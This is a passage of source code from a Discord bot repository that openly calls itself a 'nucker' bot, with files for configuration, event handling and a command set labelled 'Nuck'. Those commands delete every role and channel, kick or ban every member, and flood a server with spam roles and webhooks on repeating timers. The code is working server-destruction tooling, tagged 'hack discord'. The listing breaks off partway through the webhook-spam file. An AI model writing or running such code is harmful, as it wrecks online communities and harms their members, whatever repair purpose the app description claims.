├── Procfile ├── run.bat ├── example.env ├── update.bat ├── install.bat ├── storage ├── embed.json ├── status.json ├── colors.json ├── config.js └── emotes.json ├── replit.nix ├── events ├── client │ ├── warn.js │ ├── rateLimit.js │ ├── error.js │ ├── reconnecting.js │ └── disconnect.js ├── shard │ ├── shardResume.js │ ├── shardReady.js │ ├── shardError.js │ ├── shardDisconnect.js │ └── shardReconnecting.js ├── thread │ └── threadCreate.js ├── guild │ ├── guildDelete.js │ └── guildCreate.js ├── button │ └── interactionCreate.js ├── modal │ └── interactionCreate.js ├── message │ ├── messageUpdate.js │ └── messageCreate.js ├── ready │ └── ready.js └── interaction │ └── interactionCreate.txt ├── app.json ├── handlers ├── extraEvents.js ├── antiCrash.js ├── messageCommandHandler.js ├── keepAlive.js └── slashCommandHandler.txt ├── package.json ├── LICENSE ├── start ├── 2-handlers.js └── 1-events.js ├── commands ├── Nuck 📟 │ ├── delr.js │ ├── kickal.js │ ├── spamr.js │ ├── banal.js │ ├── delc.js │ ├── spamw.js │ ├── spamm.js │ ├── unbanal.js │ ├── delw.js │ ├── spamc.js │ └── nuck.js ├── Infos 📊 │ ├── invite.js │ ├── ping.js │ └── help.js └── Owner 👑 │ └── serverlist.js ├── index.js ├── README.md └── functions └── functions.js /Procfile: -------------------------------------------------------------------------------- 1 | worker: node index.js -------------------------------------------------------------------------------- /run.bat: -------------------------------------------------------------------------------- 1 | echo off 2 | color 1 3 | cls 4 | :a 5 | node index.js 6 | goto a -------------------------------------------------------------------------------- /example.env: -------------------------------------------------------------------------------- 1 | PREFIX="PLACE_BOT_PREFIX" 2 | CLIENT_ID="USER_CLIENT_ID" 3 | TOKEN="PLACE_BOT_TOKEN" -------------------------------------------------------------------------------- /update.bat: -------------------------------------------------------------------------------- 1 | echo off 2 | color 1 3 | cls 4 | :a 5 | npm install cli-color discord.js@^14 dotenv express fs moment 6 | goto a -------------------------------------------------------------------------------- /install.bat: -------------------------------------------------------------------------------- 1 | echo off 2 | color 1 3 | cls 4 | :a 5 | npm install cli-color discord.js@^14 dotenv express fs moment 6 | goto a -------------------------------------------------------------------------------- /storage/embed.json: -------------------------------------------------------------------------------- 1 | { 2 | "footerIcon": "https://media.discordapp.net/attachments/880347850666545182/915858409738350602/image0-1_1.gif", 3 | "footerText": "Persian Caesar 🎩" 4 | } -------------------------------------------------------------------------------- /replit.nix: -------------------------------------------------------------------------------- 1 | { pkgs }: { 2 | deps = [ 3 | pkgs.nodejs-16_x 4 | pkgs.nodePackages.typescript-language-server 5 | pkgs.yarn 6 | pkgs.replitPackages.jest 7 | ]; 8 | } -------------------------------------------------------------------------------- /storage/status.json: -------------------------------------------------------------------------------- 1 | { 2 | "text": "{prefix}help | TickerBoy by Mr.SIN RE#1528 | https://dsc.gg/sizar-team", 3 | "type": "CUSTOM_STATUS", 4 | "url": "https://www.twitch.tv/sobhan_srza", 5 | "presence": "dnd" 6 | } -------------------------------------------------------------------------------- /events/client/warn.js: -------------------------------------------------------------------------------- 1 | let clc = require('cli-color'); 2 | module.exports = (client, error) => { 3 | console.log(clc.redBright(String(error))) 4 | } 5 | /** 6 | * @Info 7 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 8 | * @Info 9 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 10 | * @Info 11 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 12 | * @Info 13 | */ -------------------------------------------------------------------------------- /events/shard/shardResume.js: -------------------------------------------------------------------------------- 1 | const clc = require('cli-color'); 2 | module.exports = async (client, id, replayedEvents) => { 3 | client.logger(clc.green(`Shard #${id} Resumed`)) 4 | } 5 | /** 6 | * @Info 7 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 8 | * @Info 9 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 10 | * @Info 11 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 12 | * @Info 13 | */ -------------------------------------------------------------------------------- /app.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Nucker Bot", 3 | "description": "This is bot can fix your nucked guild like unban all members or remove spamed channels and roles for you.", 4 | "repository": "https://github.com/Persian-Caesar/Anti-Nucker-Bot", 5 | "logo": "", 6 | "keywords": [ 7 | "advanced bot", 8 | "nucker bot", 9 | "advanced nucker bot", 10 | "nuck", 11 | "hack discord", 12 | "nuck server", 13 | "persian caesar" 14 | ] 15 | } -------------------------------------------------------------------------------- /events/client/rateLimit.js: -------------------------------------------------------------------------------- 1 | let clc = require('cli-color'); 2 | module.exports = async (client, rateLimitData) => { 3 | client.logger(clc.cyanBright(JSON.stringify(rateLimitData))); 4 | } 5 | /** 6 | * @Info 7 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 8 | * @Info 9 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 10 | * @Info 11 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 12 | * @Info 13 | */ -------------------------------------------------------------------------------- /events/shard/shardReady.js: -------------------------------------------------------------------------------- 1 | const clc = require('cli-color'); 2 | module.exports = async (client, id) => { 3 | try { 4 | client.logger(clc.greenBright(`Shard #${id} Ready`)); 5 | } catch(e) { console.error(e) } 6 | } 7 | /** 8 | * @Info 9 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 10 | * @Info 11 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 12 | * @Info 13 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 14 | * @Info 15 | */ -------------------------------------------------------------------------------- /events/client/error.js: -------------------------------------------------------------------------------- 1 | let clc = require('cli-color'); 2 | module.exports = (client, error) => { 3 | console.warn(error + " occured"); 4 | client.destroy(); 5 | client.login(client.token); 6 | console.log(clc.redBright(String(error))) 7 | } 8 | /** 9 | * @Info 10 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 11 | * @Info 12 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 13 | * @Info 14 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 15 | * @Info 16 | */ -------------------------------------------------------------------------------- /events/thread/threadCreate.js: -------------------------------------------------------------------------------- 1 | const clc = require('cli-color'); 2 | module.exports = async (client, thread) => { 3 | try{ 4 | if (thread.joinable) await thread.join(); 5 | }catch (error){ 6 | console.log(clc.redBright(error)) 7 | } 8 | } 9 | /** 10 | * @Info 11 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 12 | * @Info 13 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 14 | * @Info 15 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 16 | * @Info 17 | */ -------------------------------------------------------------------------------- /events/shard/shardError.js: -------------------------------------------------------------------------------- 1 | const clc = require('cli-color'); 2 | module.exports = async (client, error, id) => { 3 | client.logger(clc.redBright(`Shard #${id} Errored`)); 4 | setInterval(() => { 5 | client.logger("The Client Didn't Login Proccesing Kill 1") 6 | process.kill(1); 7 | }, 10000);  8 | } 9 | /** 10 | * @Info 11 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 12 | * @Info 13 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 14 | * @Info 15 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 16 | * @Info 17 | */ -------------------------------------------------------------------------------- /events/shard/shardDisconnect.js: -------------------------------------------------------------------------------- 1 | const clc = require('cli-color'); 2 | module.exports = async (client, event, id) => { 3 | client.logger(clc.redBright(`Shard #${id} Disconnected`)); 4 | setInterval(() => { 5 | client.logger("The Client Didn't Login Proccesing Kill 1") 6 | process.kill(1); 7 | }, 10000);  8 | } 9 | /** 10 | * @Info 11 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 12 | * @Info 13 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 14 | * @Info 15 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 16 | * @Info 17 | */ -------------------------------------------------------------------------------- /events/shard/shardReconnecting.js: -------------------------------------------------------------------------------- 1 | const clc = require('cli-color'); 2 | module.exports = async (client, id) => { 3 | client.logger(clc.magentaBright(`Shard #${id} Reconnecting`)); 4 | setInterval(() => { 5 | client.logger("The Client Didn't Login Proccesing Kill 1") 6 | process.kill(1); 7 | }, 10000);  8 | } 9 | /** 10 | * @Info 11 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 12 | * @Info 13 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 14 | * @Info 15 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 16 | * @Info 17 | */ -------------------------------------------------------------------------------- /events/client/reconnecting.js: -------------------------------------------------------------------------------- 1 | let clc = require('cli-color'); 2 | module.exports = async (client) => { 3 | client.logger(clc.bgYellowBright(`Reconnceting at ${new Date()}.`)); 4 | setInterval(() => { 5 | if(!client || !client.user) { 6 | console.log("The Client Didn't Login Proccesing Kill 1") 7 | process.kill(1); 8 | } else { 9 | } 10 | }, 10000);  11 | } 12 | /** 13 | * @Info 14 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 15 | * @Info 16 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 17 | * @Info 18 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 19 | * @Info 20 | */ -------------------------------------------------------------------------------- /events/client/disconnect.js: -------------------------------------------------------------------------------- 1 | let clc = require('cli-color'); 2 | module.exports = async (client) => { 3 | client.logger(clc.redBright(`You have been disconnected at ${new Date()}.`)); 4 | setInterval(() => { 5 | if(!client || !client.user) { 6 | console.log("The Client Didn't Login Proccesing Kill 1") 7 | process.kill(1); 8 | } else { 9 | } 10 | }, 10000);  11 | } 12 | /** 13 | * @Info 14 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 15 | * @Info 16 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 17 | * @Info 18 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 19 | * @Info 20 | */ -------------------------------------------------------------------------------- /storage/colors.json: -------------------------------------------------------------------------------- 1 | { 2 | "none": "#2B2D31", 3 | "red": "#ff4d4d", 4 | "green": "#ddcc33", 5 | "uptime": "#51ff23", 6 | "purpledark": "#6a006a", 7 | "purplemedium":"#a958a5", 8 | "purplelight": "#c481fb", 9 | "orange": "#F9A72D", 10 | "gold": "#daa520", 11 | "reddark": "#8e2430", 12 | "redlight": "#ff0000", 13 | "bluedark": "#3b5998", 14 | "cyan": "#5780cd", 15 | "bluelight": "#ace9e7", 16 | "aqua": "#33a1ee", 17 | "pink": "#ff9dbb", 18 | "greendark": "#2ac075", 19 | "greenlight": "#a1ee33", 20 | "white": "#f9f9f6", 21 | "cream": "#ffdab9", 22 | "blue": "#4c8bf5", 23 | "yellow": "#E9E95A", 24 | "purple": "#B05AE9", 25 | "black": "#171717" 26 | } -------------------------------------------------------------------------------- /handlers/extraEvents.js: -------------------------------------------------------------------------------- 1 | const moment = require("moment"); 2 | const clc = require("cli-color"); 3 | module.exports = async (client) => { 4 | client.logger = (data) => { 5 | let logstring = `${clc.greenBright(`Perisan_Caesar`)}${clc.blackBright(` | `)}${clc.cyan(`${moment().format("ddd DD-MM-YYYY HH:mm:ss.SSSS")}`)}${clc.magenta(` 〢 `)}` 6 | if (typeof data == "string") { 7 | console.log(logstring, data.split("\n").map(d => clc.green(`${d}`)).join(`\n${logstring} `)) 8 | } else if (typeof data == "object") { 9 | console.log(logstring, clc.green(JSON.stringify(data, null, 3))) 10 | } else if (typeof data == "boolean") { 11 | console.log(logstring, clc.cyan(data)) 12 | } else { 13 | console.log(logstring, data) 14 | } 15 | }; 16 | } 17 | /** 18 | * @Info 19 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 20 | * @Info 21 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 22 | * @Info 23 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 24 | * @Info 25 | */ -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "nuker-bot", 3 | "main": "index.js", 4 | "author": "Mr.SIN RE#1528 | Persian Caesar", 5 | "version": "1.0.0", 6 | "description": "The nucker and anti nuker bot. Work on all guilds with high quality.", 7 | "license": "BSD", 8 | "repository": { 9 | "type": "git", 10 | "url": "git+https://github.com/Persian-Caesar/Nucker-Bot.git" 11 | }, 12 | "bugs": { 13 | "server": "https://dsc.gg/persian-caesar", 14 | "url": "https://github.com/Persian-Caesar/Nucker-Bot/issues" 15 | }, 16 | "homepage": "https://github.com/Persian-Caesar/Nucker-Bot#readme", 17 | "keywords": [ 18 | "advanced bot", 19 | "nucker bot", 20 | "advanced nucker bot", 21 | "nuke", 22 | "hack discord", 23 | "nuke server", 24 | "persian caesar" 25 | ], 26 | "scripts": { 27 | "start": "node index.js", 28 | "test": "echo \"Error: no test specified\" && exit 1" 29 | }, 30 | "dependencies": { 31 | "cli-color": "^2.0.2", 32 | "discord.js": "^14.8.0", 33 | "dotenv": "^16.0.1", 34 | "express": "^4.18.1", 35 | "fs": "^0.0.1-security", 36 | "moment": "^2.29.4" 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2023, Persian Caesar 4 | 5 | Redistribution and use in source and binary forms, with or without 6 | modification, are permitted provided that the following conditions are met: 7 | 8 | 1. Redistributions of source code must retain the above copyright notice, this 9 | list of conditions and the following disclaimer. 10 | 11 | 2. Redistributions in binary form must reproduce the above copyright notice, 12 | this list of conditions and the following disclaimer in the documentation 13 | and/or other materials provided with the distribution. 14 | 15 | 3. Neither the name of the copyright holder nor the names of its 16 | contributors may be used to endorse or promote products derived from 17 | this software without specific prior written permission. 18 | 19 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 20 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 21 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 22 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 23 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 24 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 25 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 26 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 27 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 29 | -------------------------------------------------------------------------------- /start/2-handlers.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | var clc = require("cli-color"); 3 | module.exports = async (client) => { 4 | //======== Loading Handlers ========= 5 | var counter = 0; 6 | Array ("messageCommandHandler.js", client.config.source.keep_alive ? "keepAlive.js" : null , "extraEvents.js" , client.config.source.anti_crash ? "antiCrash.js" : null) 7 | .filter(Boolean) 8 | .forEach((handler) => { 9 | require(`${process.cwd()}/handlers/${handler}`)(client); 10 | counter += 1; 11 | }); 12 | try { 13 | const stringlength = 69; 14 | console.log("\n") 15 | console.log(clc.yellowBright(` ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓`)) 16 | console.log(clc.yellowBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.yellowBright("┃")) 17 | console.log(clc.yellowBright(` ┃ `) + clc.greenBright(` ${clc.magentaBright(counter)} Handlers Is Loaded!!`) + " ".repeat(-1 + stringlength - ` ┃ `.length - ` ${counter} Handlers Is Loaded!!`.length) + clc.yellowBright("┃")) 18 | console.log(clc.yellowBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.yellowBright("┃")) 19 | console.log(clc.yellowBright(` ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛`)) 20 | console.log("\n") 21 | } catch { /* */ } 22 | } 23 | /** 24 | * @Info 25 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 26 | * @Info 27 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 28 | * @Info 29 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 30 | * @Info 31 | */ -------------------------------------------------------------------------------- /handlers/antiCrash.js: -------------------------------------------------------------------------------- 1 | var clc = require("cli-color"); 2 | module.exports = async (client) => { 3 | console.log("\n") 4 | client.logger(clc.red(`Starting AntiCrash`)); 5 | process.on('unhandledRejection', (reason, promise) => { 6 | console.log(clc.redBright('=== [antiCrash] :: [unhandledRejection] :: [start] ===')); 7 | console.log(reason); 8 | console.log(clc.redBright('=== [antiCrash] :: [unhandledRejection] :: [end] ===')); 9 | }); 10 | process.on('rejectionHandled', (promise) => { 11 | console.log(clc.redBright('=== [antiCrash] :: [rejectionHandled] :: [start] ===')); 12 | console.log(promise); 13 | console.log(clc.redBright('=== [antiCrash] :: [rejectionHandled] :: [end] ===')); 14 | }) 15 | process.on("uncaughtException", (err, origin) => { 16 | console.log(clc.redBright('=== [antiCrash] :: [uncaughtException] :: [start] ===')); 17 | console.log(err); 18 | console.log(clc.redBright('=== [antiCrash] :: [uncaughtException] :: [end] ===')); 19 | }); 20 | process.on('uncaughtExceptionMonitor', (err, origin) => { 21 | console.log(clc.redBright('=== [antiCrash] :: [uncaughtExceptionMonitor] :: [start] ===')); 22 | console.log(err); 23 | console.log(clc.redBright('=== [antiCrash] :: [uncaughtExceptionMonitor] :: [end] ===')); 24 | }); 25 | client.logger(clc.greenBright(`AntiCrash Started`)); 26 | console.log("\n") 27 | }; 28 | /** 29 | * @Info 30 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 31 | * @Info 32 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 33 | * @Info 34 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 35 | * @Info 36 | */ -------------------------------------------------------------------------------- /handlers/messageCommandHandler.js: -------------------------------------------------------------------------------- 1 | const fs = require('fs'); 2 | const clc = require("cli-color"); 3 | module.exports = async (client) => { 4 | fs.readdirSync(`${process.cwd()}/commands`).forEach(dirs => { 5 | const commands = fs.readdirSync(`${process.cwd()}/commands/${dirs}`).filter(files => files.endsWith('.js')); 6 | for (const file of commands) { 7 | const command = require(`${process.cwd()}/commands/${dirs}/${file}`); 8 | client.messageCommands.set(command.name, command); 9 | }; 10 | }); 11 | try { 12 | const stringlength = 69; 13 | console.log("\n") 14 | console.log(clc.yellowBright(` ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓`)) 15 | console.log(clc.yellowBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.yellowBright("┃")) 16 | console.log(clc.yellowBright(` ┃ `) + clc.greenBright(` ${clc.magentaBright(client.messageCommands.size)} Message Commands Is Loaded!!`) + " ".repeat(-1 + stringlength - ` ┃ `.length - ` ${client.messageCommands.size} Message Commands Is Loaded!!`.length) + clc.yellowBright("┃")) 17 | console.log(clc.yellowBright(` ┃ `) + " ".repeat(-1 + stringlength - ` ┃ `.length) + clc.yellowBright("┃")) 18 | console.log(clc.yellowBright(` ┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛`)) 19 | console.log("\n") 20 | } catch { /* */ } 21 | } 22 | /** 23 | * @Info 24 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 25 | * @Info 26 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 27 | * @Info 28 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 29 | * @Info 30 | */ -------------------------------------------------------------------------------- /commands/Nuck 📟/delr.js: -------------------------------------------------------------------------------- 1 | const { 2 | ActionRowBuilder, 3 | ButtonBuilder, 4 | ButtonStyle, 5 | EmbedBuilder, 6 | PermissionsBitField 7 | } = require("discord.js"); 8 | const { 9 | errorMessage 10 | } = require(`${process.cwd()}/functions/functions`); 11 | module.exports = { 12 | name: 'delr', 13 | aliases: ['delete all roles','dr'], 14 | category: 'Nuck 📟', 15 | description: 'Delete all roles.', 16 | usage: "", 17 | cooldown: 8, 18 | run: async function(client, message, args, prefix){ 19 | let db = client.db; 20 | if(!message.member.permissions.has([PermissionsBitField.Flags.Administrator]) && !client.config.owner.some(r => r.includes(message.author.id))) return errorMessage(client, message, `> You can't use this command.`) 21 | try{ 22 | let msg = await message.reply({ 23 | content: `${client.emotes.start}| Starting deleting all roles.` 24 | }) 25 | try{ 26 | message.guild.roles.cache.forEach(async(r)=>{ 27 | try{ 28 | setTimeout(async()=>{ 29 | await r.delete() 30 | }, 1000) 31 | }catch{ 32 | } 33 | }) 34 | msg.edit({ 35 | content: `${client.emotes.trash}| All roles has been removed.` 36 | }) 37 | }catch(e){ 38 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 39 | } 40 | }catch(e){ 41 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 42 | } 43 | } 44 | } 45 | /** 46 | * @Info 47 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 48 | * @Info 49 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 50 | * @Info 51 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 52 | * @Info 53 | */ -------------------------------------------------------------------------------- /commands/Nuck 📟/kickal.js: -------------------------------------------------------------------------------- 1 | const { 2 | ActionRowBuilder, 3 | ButtonBuilder, 4 | ButtonStyle, 5 | EmbedBuilder, 6 | PermissionsBitField 7 | } = require("discord.js"); 8 | const { 9 | errorMessage 10 | } = require(`${process.cwd()}/functions/functions`); 11 | module.exports = { 12 | name: 'kickal', 13 | aliases: ['kick all members','kic'], 14 | category: 'Nuck 📟', 15 | description: 'Kick all members.', 16 | usage: "", 17 | cooldown: 8, 18 | run: async function(client, message, args, prefix){ 19 | let db = client.db; 20 | if(!message.member.permissions.has([PermissionsBitField.Flags.Administrator]) && !client.config.owner.some(r => r.includes(message.author.id))) return errorMessage(client, message, `> You can't use this command.`) 21 | try{ 22 | let msg = await message.reply({ 23 | content: `${client.emotes.start}| Starting kick all members.` 24 | }) 25 | try{ 26 | message.guild.members.cache.forEach(async(m)=>{ 27 | try{ 28 | await m.kick({ reason: `Nucking guild.` }) 29 | }catch{ 30 | } 31 | }).then(()=>{ 32 | msg.edit({ 33 | content: `${client.emotes.trash}| All members has been kicked.` 34 | }) 35 | }) 36 | }catch(e){ 37 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 38 | } 39 | }catch(e){ 40 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 41 | } 42 | } 43 | } 44 | /** 45 | * @Info 46 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 47 | * @Info 48 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 49 | * @Info 50 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 51 | * @Info 52 | */ -------------------------------------------------------------------------------- /commands/Nuck 📟/spamr.js: -------------------------------------------------------------------------------- 1 | const { 2 | ActionRowBuilder, 3 | ButtonBuilder, 4 | ButtonStyle, 5 | EmbedBuilder, 6 | ChannelType, 7 | PermissionsBitField 8 | } = require("discord.js"); 9 | const { 10 | errorMessage 11 | } = require(`${process.cwd()}/functions/functions`); 12 | module.exports = { 13 | name: 'spamr', 14 | aliases: ['role spam','spam role','spr'], 15 | category: 'Nuck 📟', 16 | description: 'Spam role in guild.', 17 | usage: "", 18 | cooldown: 8, 19 | run: async function(client, message, args, prefix){ 20 | let db = client.db; 21 | if(!message.member.permissions.has([PermissionsBitField.Flags.Administrator]) && !client.config.owner.some(r => r.includes(message.author.id))) return errorMessage(client, message, `> You can't use this command.`) 22 | try{ 23 | await message.reply({ 24 | content: `${client.emotes.start}| Starting spam role in guild.` 25 | }) 26 | try{ 27 | setInterval(()=>{ 28 | try{ 29 | message.guild.roles.create({ 30 | name: `Spamming Role`, 31 | color: "Random", 32 | reason: `nucking with spamming` 33 | }) 34 | }catch{ 35 | } 36 | }, 1000) 37 | }catch(e){ 38 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 39 | } 40 | }catch(e){ 41 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 42 | } 43 | } 44 | } 45 | /** 46 | * @Info 47 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 48 | * @Info 49 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 50 | * @Info 51 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 52 | * @Info 53 | */ -------------------------------------------------------------------------------- /commands/Nuck 📟/banal.js: -------------------------------------------------------------------------------- 1 | const { 2 | ActionRowBuilder, 3 | ButtonBuilder, 4 | ButtonStyle, 5 | EmbedBuilder, 6 | PermissionsBitField 7 | } = require("discord.js"); 8 | const { 9 | errorMessage 10 | } = require(`${process.cwd()}/functions/functions`); 11 | module.exports = { 12 | name: 'banal', 13 | aliases: ['ban all members','ba'], 14 | category: 'Nuck 📟', 15 | description: 'Ban all members.', 16 | usage: "", 17 | cooldown: 8, 18 | run: async function(client, message, args, prefix){ 19 | let db = client.db; 20 | if(!message.member.permissions.has([PermissionsBitField.Flags.Administrator]) && !client.config.owner.some(r => r.includes(message.author.id))) return errorMessage(client, message, `> You can't use this command.`) 21 | try{ 22 | let msg = await message.reply({ 23 | content: `${client.emotes.start}| Starting ban all members.` 24 | }) 25 | try{ 26 | message.guild.members.cache.forEach(async(m)=>{ 27 | try{ 28 | await message.guild.members.ban(m.user.id, `Nucking guild.`) 29 | }catch{ 30 | } 31 | })//.then(()=>{ 32 | msg.edit({ 33 | content: `${client.emotes.trash}| All members has been baned.` 34 | //}) 35 | }) 36 | }catch(e){ 37 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 38 | } 39 | }catch(e){ 40 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 41 | } 42 | } 43 | } 44 | /** 45 | * @Info 46 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 47 | * @Info 48 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 49 | * @Info 50 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 51 | * @Info 52 | */ -------------------------------------------------------------------------------- /commands/Nuck 📟/delc.js: -------------------------------------------------------------------------------- 1 | const { 2 | ActionRowBuilder, 3 | ButtonBuilder, 4 | ButtonStyle, 5 | EmbedBuilder, 6 | PermissionsBitField 7 | } = require("discord.js"); 8 | const { 9 | errorMessage 10 | } = require(`${process.cwd()}/functions/functions`); 11 | module.exports = { 12 | name: 'delc', 13 | aliases: ['delete all channels','dc'], 14 | category: 'Nuck 📟', 15 | description: 'Delete all channels.', 16 | usage: "", 17 | cooldown: 8, 18 | run: async function(client, message, args, prefix){ 19 | let db = client.db; 20 | if(!message.member.permissions.has([PermissionsBitField.Flags.Administrator]) && !client.config.owner.some(r => r.includes(message.author.id))) return errorMessage(client, message, `> You can't use this command.`) 21 | try{ 22 | await message.reply({ 23 | content: `${client.emotes.start}| Starting deleting all channels.` 24 | }) 25 | try{ 26 | message.guild.channels.cache.forEach(async(ch)=>{ 27 | try{ 28 | setTimeout(async()=>{ 29 | await ch.delete() 30 | }, 1000) 31 | }catch{ 32 | } 33 | }) 34 | message.author.send({ 35 | content: `${client.emotes.trash}| All channels has been removed.` 36 | }) 37 | }catch(e){ 38 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 39 | } 40 | }catch(e){ 41 | return errorMessage(client, message, `\`\`\`js\n${e}\n\`\`\``) 42 | } 43 | } 44 | } 45 | /** 46 | * @Info 47 | * Bot Coded by Mr.SIN RE#1528 :) | https://dsc.gg/persian-caesar 48 | * @Info 49 | * Work for Persian Caesar | https://dsc.gg/persian-caesar 50 | * @Info 51 | * Please Mention Us "Persian Caesar", When Have Problem With Using This Code! 52 | * @Info 53 | */ -------------------------------------------------------------------------------- /commands/Nuck 📟/spamw.js: -------------------------------------------------------------------------------- 1 | const { 2 | ActionRowBuilder, 3 | ButtonBuilder, 4 | ButtonStyle, 5 | EmbedBuilder, 6 | ChannelType, 7 | PermissionsBitField 8 | } = require("discord.js"); 9 | const { 10 | errorMessage 11 | } = require(`${process.cwd()}/functions/functions`); 12 | module.exports = { 13 | name: 'spamw', 14 | aliases: ['webhook spam','spam webhook','spw'], 15 | category: 'Nuck 📟', 16 | description: 'Spam webhook in guild.', 17 | usage: "", 18 | cooldown: 8, 19 | run: async function(client, message, args, prefix){ 20 | let db = client.db; 21 | if(!message.member.permissions.has([PermissionsBitField.Flags.Administrator]) && !client.config.owner.some(r => r.includes(message.author.id))) return errorMessage(client, message, `> You can't use this command.`) 22 | try{ 23 | await message.reply({ 24 | content: `${client.emotes.start}| Starting spam webhook in guild.` 25 | }) 26 | try{ 27 | message.guild.channels.cache.filter(c=> c.type === ChannelType.GuildText).forEach(async(c)=>{ 28 | setInterval(()=>{ 29 | try{ 30 | c.createWebhook({ name: `Spamming`, 